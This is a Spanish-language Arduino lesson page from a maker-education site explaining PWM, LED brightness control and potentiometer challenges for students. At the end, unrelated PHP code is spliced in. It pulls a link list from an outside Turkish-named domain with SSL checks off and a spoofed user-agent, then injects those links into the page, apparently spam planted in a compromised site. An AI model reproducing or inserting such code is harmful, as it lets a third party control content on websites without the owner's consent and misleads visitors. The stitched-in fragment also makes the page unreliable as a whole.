Be Maker

Loading...

Be Maker

section-icon

Maker Lab

¡Porque cada gran inventor necesita un buen laboratorio! Aquí encontrarás proyectos paso a paso, mini guías y recursos sobre electrónica, diseño 3D, programación y robótica.

Uncategorized - noviembre 15, 2025

PWM o Salida Analógica

1

TechMentor

@admin

CLASE 01

Para obtener tu recompensa debes estar registrado en nuestra plataforma y publicar tu trabajo

Modulación por Ancho de Pulso – PWM

🧠 La modulación por ancho de pulsos (también conocida como PWM, siglas en inglés de pulse width modulation) de una señal o fuente de energía es una técnica en la que se modifica una señal eléctrica para controlar la cantidad de energía que se envía a una carga.

💡 Por ejemplo si le aplicamos PWM a un LED podemos variar su intensidad de brillo y si le aplicamos un PWM a un motor DC logramos variar la velocidad del mismo con la característica de mantener su par (fuerza) constante.

🧠¿Qué aprendo?

  • Encender un LED de manera proporcional
  • Entender el concepto de PWM
  • Escribir una salida análoga
  • Si…/Si No… con operadores lógicos

💡 Conocimientos previos

  • PWM
  • Función Escritura Analógica
  • Polaridad de un LED
  • Incrementar y manipular variables

💻 Esquema

🧠 Una salida analógica en Arduino tiene un valor que va de 0 o 255, eso significa que en la salida de los pines que llevan la tilde ~ podremos obtener un voltaje variable que va de 0V a 5V.

¿Cómo funciona?
✅ Al programa este código el LED que se encuentra apagado debe encenderse de manera proporcional hasta alcanzar su brillo máximo.

🦾 Código

¡Estamos listos, a construir!

✅ Ingresamos a la Cuenta de Tinkercad de miMakerHouse Talleres Vacacionales y hacemos clic en «Unirse con apodo». Ahí colocamos nuestro nombre de usuario (primerNombre.primerApellido)

✅ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

➡️ RETO 01: Realizar un proyecto que controle la luz de un LED desde el puerto serie, el usuario debe colocar un número entre 0 y 255 para cambiar la intensidad de luz del LED, en caso de colocar otro número debe mostrar un mensaje de valor incorrecto.

➡️ RETO 02: Tu mamá quiere tener unas luces de intensidad variables en la sala de tu casa, ella quiere tener el control de la intensidad de luz mediante un potenciómetro y que la bombilla LED se ilumine de acuerdo a lo graduado por ella. Tu tarea es realizar el programa que al leer una entrada análoga de un potenciómetro (0 – 1023) se ajuste el valor de PWM (0 – 255) de un LED, recuerda mapear el valor del potenciómetro.

➡️ RETO FINAL: Un novedoso horno para pan está próximo a salir al mercado. Este horno puede ajustar el tiempo de horneado con un potenciómetro y 1 botón. Tu tarea es realizar un programa que muestra por Consola Serial la temperatura en °C (0-255) que se ajusta con el potenciómetro. El valor de la temperatura será el PWM que se le va a ajustar al LED y el tiempo Usa el Esquema que se muestra en la parte superior.

¿Quieres aprender más? – Investiga!

1. ¿Cuáles son los valores de una salida analógica (PWM)?

2. ¿Cuál es el valor de la siguiente resistencia? 

3.  ¿Este símbolo a que corresponde?

4. ¿Qué hace el siguiente bloque de código?


Recuerda

Sensor Analógico

$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }